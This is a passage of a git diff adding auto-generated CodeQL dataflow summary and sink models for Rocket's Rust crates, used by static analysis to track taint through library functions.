"Argument[0].Field[crate::uri::uri::Uri::Absolute(0)]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::into_owned", "Argument[self].Field[crate::uri::absolute::Absolute::scheme].Field[crate::parse::indexed::Indexed::Indexed(0)]", "ReturnValue.Field[crate::uri::absolute::Absolute::scheme].Field[crate::parse::indexed::Indexed::Indexed(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::into_owned", "Argument[self].Field[crate::uri::absolute::Absolute::scheme].Field[crate::parse::indexed::Indexed::Indexed(1)]", "ReturnValue.Field[crate::uri::absolute::Absolute::scheme].Field[crate::parse::indexed::Indexed::Indexed(1)]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::append", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::prepend", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::authority", "Argument[self].Field[crate::uri::absolute::Absolute::authority].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] @@ -122,16 +129,23 @@ extensions: - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::path", "Argument[self].Field[crate::uri::absolute::Absolute::source]", "ReturnValue.Field[crate::uri::path_query::Path::source].Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::query", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::raw", "Argument[2]", "ReturnValue.Field[crate::uri::absolute::Absolute::authority]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::scheme", "Argument[self].Field[crate::uri::absolute::Absolute::scheme].Field[crate::parse::indexed::Indexed::Concrete(0)]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::set_authority", "Argument[0]", "Argument[self].Field[crate::uri::absolute::Absolute::authority].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::with_authority", "Argument[0]", "Argument[self].Field[crate::uri::absolute::Absolute::authority].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::with_authority", "Argument[0]", "ReturnValue.Field[crate::uri::absolute::Absolute::authority].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::with_authority", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::try_from", "Argument[0].Field[crate::uri::uri::Uri::Asterisk(0)]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::try_from", "Argument[0].Field[crate::uri::uri::Uri::Authority(0)]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::into_owned", "Argument[self].Field[crate::uri::authority::Authority::host].Field[crate::parse::indexed::Indexed::Indexed(0)]", "ReturnValue.Field[crate::uri::authority::Authority::host].Field[crate::parse::indexed::Indexed::Indexed(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::into_owned", "Argument[self].Field[crate::uri::authority::Authority::host].Field[crate::parse::indexed::Indexed::Indexed(1)]", "ReturnValue.Field[crate::uri::authority::Authority::host].Field[crate::parse::indexed::Indexed::Indexed(1)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::const_new", "Argument[2]", "ReturnValue.Field[crate::uri::authority::Authority::port]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::host", "Argument[self].Field[crate::uri::authority::Authority::host].Field[crate::parse::indexed::Indexed::Concrete(0)]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::port", "Argument[self].Field[crate::uri::authority::Authority::port]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::raw", "Argument[3]", "ReturnValue.Field[crate::uri::authority::Authority::port]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::user_info", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::new", "Argument[0]", "ReturnValue.Field[crate::uri::fmt::formatter::Formatter::inner]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::render", "Argument[self].Field[0]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::render", "Argument[self].Field[crate::uri::fmt::formatter::PrefixedRouteUri(0)]", "ReturnValue", "value", "dfc-generated"] @@ -140,12 +154,16 @@ extensions: - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::render", "Argument[self].Field[crate::uri::fmt::formatter::SuffixedRouteUri(0)]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from_uri_param", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from", "Argument[0]", "ReturnValue.Field[crate::uri::host::Host(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::into_owned", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::new", "Argument[0]", "ReturnValue.Field[crate::uri::host::Host(0)]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::port", "Argument[self].Field[0].Field[crate::uri::authority::Authority::port]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::port", "Argument[self].Field[crate::uri::host::Host(0)].Field[crate::uri::authority::Authority::port]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::to_absolute", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::to_absolute", "Argument[self].Field[0].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::to_absolute", "Argument[self].Field[crate::uri::host::Host(0)].Reference", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::to_authority", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::try_from", "Argument[0].Field[crate::uri::uri::Uri::Origin(0)]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::into_owned", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::append", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::into_normalized", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::map_path", "Argument[self]", "ReturnValue", "taint", "df-generated"] @@ -154,12 +172,15 @@ extensions: - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::path", "Argument[self].Field[crate::uri::origin::Origin::source]", "ReturnValue.Field[crate::uri::path_query::Path::source].Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::query", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::raw", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::into_owned", "Argument[self].Field[crate::uri::path_query::Data::value].Field[crate::parse::indexed::Indexed::Indexed(0)]", "ReturnValue.Field[crate::uri::path_query::Data::value].Field[crate::parse::indexed::Indexed::Indexed(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::into_owned", "Argument[self].Field[crate::uri::path_query::Data::value].Field[crate::parse::indexed::Indexed::Indexed(1)]", "ReturnValue.Field[crate::uri::path_query::Data::value].Field[crate::parse::indexed::Indexed::Indexed(1)]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from", "Argument[0].Field[crate::uri::origin::Origin::path]", "ReturnValue.Field[crate::uri::reference::Reference::path]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from", "Argument[0].Field[crate::uri::origin::Origin::query]", "ReturnValue.Field[crate::uri::reference::Reference::query]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from", "Argument[0].Field[crate::uri::origin::Origin::source]", "ReturnValue.Field[crate::uri::reference::Reference::source]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from", "Argument[0]", "ReturnValue.Field[crate::uri::reference::Reference::authority].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::try_from", "Argument[0].Field[crate::uri::uri::Uri::Reference(0)]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::into_owned", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::prepend", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::authority", "Argument[self].Field[crate::uri::reference::Reference::authority].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::const_new", "Argument[1]", "ReturnValue.Field[crate::uri::reference::Reference::authority]", "value", "dfc-generated"] @@ -171,6 +192,8 @@ extensions: - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::raw", "Argument[2]", "ReturnValue.Field[crate::uri::reference::Reference::authority]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::scheme", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::with_query_fragment_of", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::count", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::size_hint", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::get", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::len", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::new", "Argument[0]", "ReturnValue.Field[crate::uri::segments::Segments::source]", "value", "dfc-generated"] @@ -200,6 +223,7 @@ extensions: - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from_uri_param", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::into_owned", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from_uri_param", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::as_ptr", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from_uri_param", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::into_owned", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from_uri_param", "Argument[0]", "ReturnValue", "value", "dfc-generated"] @@ -213,3 +237,25 @@ extensions: - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from_uri_param", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "crate::parse::uri::parser::complete", "Argument[0]", "Argument[1].Parameter[0]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "crate::parse::uri::scheme_from_str", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] + - addsTo: + pack: codeql/rust-all + extensible: sinkModel + data: + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::into_owned", "Argument[self]", "pointer-access", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from_uri_param", "Argument[0]", "pointer-access", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from_uri_param", "Argument[0]", "pointer-access", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::into_owned", "Argument[self]", "pointer-access", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::raw", "Argument[4]", "pointer-access", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::into_owned", "Argument[self]", "pointer-access", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::raw", "Argument[1]", "pointer-access", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::render", "Argument[self]", "pointer-access", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::with_suffix", "Argument[self]", "pointer-access", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::into_owned", "Argument[self]", "pointer-access", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::into_owned", "Argument[self]", "pointer-access", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::append", "Argument[1]", "pointer-access", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::new", "Argument[1]", "pointer-access", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::raw", "Argument[2]", "pointer-access", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::into_owned", "Argument[self]", "pointer-access", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::raw", "Argument[1]", "pointer-access", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::raw", "Argument[4]", "pointer-access", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::raw", "Argument[5]", "pointer-access", "df-generated"] diff --git a/rust/ql/lib/ext/generated/rocket/repo-https-github.com-rwf2-Rocket-tree-v0.5-contrib-db_pools-rocket_db_pools.model.yml b/rust/ql/lib/ext/generated/rocket/repo-https-github.com-rwf2-Rocket-tree-v0.5-contrib-db_pools-rocket_db_pools.model.yml index 64aa3ccb425..4eb2dc1c577 100644 --- a/rust/ql/lib/ext/generated/rocket/repo-https-github.com-rwf2-Rocket-tree-v0.5-contrib-db_pools-rocket_db_pools.model.yml +++ b/rust/ql/lib/ext/generated/rocket/repo-https-github.com-rwf2-Rocket-tree-v0.5-contrib-db_pools-rocket_db_pools.model.yml @@ -4,11 +4,25 @@ extensions: pack: codeql/rust-all extensible: summaryModel data: + - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/db_pools:rocket_db_pools", "::close", "Argument[self]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/db_pools:rocket_db_pools", "::get", "Argument[self]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/db_pools:rocket_db_pools", "::init", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/db_pools:rocket_db_pools", "::deref", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/db_pools:rocket_db_pools", "::deref", "Argument[self].Field[crate::database::Connection(0)]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/db_pools:rocket_db_pools", "::deref_mut", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/db_pools:rocket_db_pools", "::deref_mut", "Argument[self].Field[crate::database::Connection(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/db_pools:rocket_db_pools", "::from_request", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/db_pools:rocket_db_pools", "::into_inner", "Argument[self].Field[0]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/db_pools:rocket_db_pools", "::into_inner", "Argument[self].Field[crate::database::Connection(0)]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/db_pools:rocket_db_pools", "::info", "Argument[self].Field[0].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::fairing::info_kind::Info::name]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/db_pools:rocket_db_pools", "::info", "Argument[self].Field[crate::database::Initializer(0)].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::fairing::info_kind::Info::name]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/db_pools:rocket_db_pools", "::on_ignite", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/db_pools:rocket_db_pools", "::on_ignite", "Argument[self]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/db_pools:rocket_db_pools", "::on_shutdown", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/db_pools:rocket_db_pools", "::on_shutdown", "Argument[self]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/db_pools:rocket_db_pools", "::close", "Argument[self]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/db_pools:rocket_db_pools", "::get", "Argument[self]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/db_pools:rocket_db_pools", "::init", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/db_pools:rocket_db_pools", "::close", "Argument[self]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/db_pools:rocket_db_pools", "::get", "Argument[self]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/db_pools:rocket_db_pools", "::init", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] diff --git a/rust/ql/lib/ext/generated/rocket/repo-https-github.com-rwf2-Rocket-tree-v0.5-contrib-dyn_templates-rocket_dyn_templates.model.yml b/rust/ql/lib/ext/generated/rocket/repo-https-github.com-rwf2-Rocket-tree-v0.5-contrib-dyn_templates-rocket_dyn_templates.model.yml index bfd8737a5e3..133692f2ce8 100644 --- a/rust/ql/lib/ext/generated/rocket/repo-https-github.com-rwf2-Rocket-tree-v0.5-contrib-dyn_templates-rocket_dyn_templates.model.yml +++ b/rust/ql/lib/ext/generated/rocket/repo-https-github.com-rwf2-Rocket-tree-v0.5-contrib-dyn_templates-rocket_dyn_templates.model.yml @@ -7,7 +7,14 @@ extensions: - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/dyn_templates:rocket_dyn_templates", "::context", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/dyn_templates:rocket_dyn_templates", "::context", "Argument[self].Field[crate::context::manager::ContextManager(0)]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/dyn_templates:rocket_dyn_templates", "::new", "Argument[0]", "ReturnValue.Field[crate::context::manager::ContextManager(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/dyn_templates:rocket_dyn_templates", "::on_ignite", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/dyn_templates:rocket_dyn_templates", "::on_ignite", "Argument[self]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/dyn_templates:rocket_dyn_templates", "::on_liftoff", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/dyn_templates:rocket_dyn_templates", "::on_liftoff", "Argument[self]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/dyn_templates:rocket_dyn_templates", "::from_request", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/dyn_templates:rocket_dyn_templates", "::custom", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/dyn_templates:rocket_dyn_templates", "::finalize", "Argument[self].Field[crate::template::Template::value].Field[crate::result::Result::Ok(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/dyn_templates:rocket_dyn_templates", "::try_custom", "Argument[0]", "ReturnValue.Field[crate::fairing::TemplateFairing::callback].Reference", "value", "dfc-generated"] - addsTo: pack: codeql/rust-all extensible: sinkModel diff --git a/rust/ql/lib/ext/generated/rocket/repo-https-github.com-rwf2-Rocket-tree-v0.5-contrib-sync_db_pools-rocket_sync_db_pools.model.yml b/rust/ql/lib/ext/generated/rocket/repo-https-github.com-rwf2-Rocket-tree-v0.5-contrib-sync_db_pools-rocket_sync_db_pools.model.yml index 552ca54324b..e78dc4b47f1 100644 --- a/rust/ql/lib/ext/generated/rocket/repo-https-github.com-rwf2-Rocket-tree-v0.5-contrib-sync_db_pools-rocket_sync_db_pools.model.yml +++ b/rust/ql/lib/ext/generated/rocket/repo-https-github.com-rwf2-Rocket-tree-v0.5-contrib-sync_db_pools-rocket_sync_db_pools.model.yml @@ -4,6 +4,7 @@ extensions: pack: codeql/rust-all extensible: summaryModel data: + - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/sync_db_pools:rocket_sync_db_pools", "::from_request", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/sync_db_pools:rocket_sync_db_pools", "::clone", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/sync_db_pools:rocket_sync_db_pools", "::fairing", "Argument[0]", "ReturnValue.Field[crate::fairing::ad_hoc::AdHoc::name]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/sync_db_pools:rocket_sync_db_pools", "::from", "Argument[0]", "ReturnValue.Field[crate::error::Error::Config(0)]", "value", "dfc-generated"] diff --git a/rust/ql/lib/ext/generated/rocket/repo-https-github.com-rwf2-Rocket-tree-v0.5-contrib-ws-rocket_ws.model.yml b/rust/ql/lib/ext/generated/rocket/repo-https-github.com-rwf2-Rocket-tree-v0.5-contrib-ws-rocket_ws.model.yml index 66aadb9919b..6f12d3f7f37 100644 --- a/rust/ql/lib/ext/generated/rocket/repo-https-github.com-rwf2-Rocket-tree-v0.5-contrib-ws-rocket_ws.model.yml +++ b/rust/ql/lib/ext/generated/rocket/repo-https-github.com-rwf2-Rocket-tree-v0.5-contrib-ws-rocket_ws.model.yml @@ -4,9 +4,16 @@ extensions: pack: codeql/rust-all extensible: summaryModel data: + - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/ws:rocket_ws", "::io", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/ws:rocket_ws", "::io", "Argument[self]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/ws:rocket_ws", "::io", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/ws:rocket_ws", "::io", "Argument[self]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/ws:rocket_ws", "::from_request", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/ws:rocket_ws", "::accept_key", "Argument[self].Field[crate::websocket::WebSocket::key]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/ws:rocket_ws", "::channel", "Argument[0]", "ReturnValue.Field[crate::websocket::Channel::handler].Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/ws:rocket_ws", "::channel", "Argument[self]", "ReturnValue.Field[crate::websocket::Channel::ws]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/ws:rocket_ws", "::config", "Argument[0]", "Argument[self].Field[crate::websocket::WebSocket::config]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/ws:rocket_ws", "::config", "Argument[0]", "ReturnValue.Field[crate::websocket::WebSocket::config]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/ws:rocket_ws", "::config", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/ws:rocket_ws", "::stream", "Argument[0]", "ReturnValue.Field[crate::websocket::MessageStream::handler].Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/ws:rocket_ws", "::stream", "Argument[self]", "ReturnValue.Field[crate::websocket::MessageStream::ws]", "value", "dfc-generated"] diff --git a/rust/ql/lib/ext/generated/rocket/repo-manual_routes.model.yml b/rust/ql/lib/ext/generated/rocket/repo-manual_routes.model.yml new file mode 100644 index 00000000000..cbefe026a95 --- /dev/null +++ b/rust/ql/lib/ext/generated/rocket/repo-manual_routes.model.yml @@ -0,0 +1,9 @@ +# THIS FILE IS AN AUTO-GENERATED MODELS AS DATA FILE. DO NOT EDIT. +extensions: + - addsTo: + pack: codeql/rust-all + extensible: summaryModel + data: + - ["repo::manual_routes", "::handle", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo::manual_routes", "::handle", "Argument[1]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo::manual_routes", "::handle", "Argument[self]", "ReturnValue.Reference", "value", "dfc-generated"] diff --git a/rust/ql/lib/ext/generated/rocket/repo-state.model.yml b/rust/ql/lib/ext/generated/rocket/repo-state.model.yml new file mode 100644 index 00000000000..eb0be86bc6e --- /dev/null +++ b/rust/ql/lib/ext/generated/rocket/repo-state.model.yml @@ -0,0 +1,10 @@ +# THIS FILE IS AN AUTO-GENERATED MODELS AS DATA FILE. DO NOT EDIT. +extensions: + - addsTo: + pack: codeql/rust-all + extensible: summaryModel + data: + - ["repo::state", "::from_request", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo::state", "::from_request", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo::state", "::from_request", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo::state", "::from_request", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] diff --git a/rust/ql/lib/ext/generated/rocket/repo-static-files.model.yml b/rust/ql/lib/ext/generated/rocket/repo-static-files.model.yml new file mode 100644 index 00000000000..68eee7cfaf4 --- /dev/null +++ b/rust/ql/lib/ext/generated/rocket/repo-static-files.model.yml @@ -0,0 +1,7 @@ +# THIS FILE IS AN AUTO-GENERATED MODELS AS DATA FILE. DO NOT EDIT. +extensions: + - addsTo: + pack: codeql/rust-all + extensible: sinkModel + data: + - ["repo::static-files", "crate::manual::second", "Argument[0]", "path-injection", "df-generated"] diff --git a/rust/ql/lib/ext/generated/rocket/repo-tls.model.yml b/rust/ql/lib/ext/generated/rocket/repo-tls.model.yml index f2bb481b1af..caf88cb7a9e 100644 --- 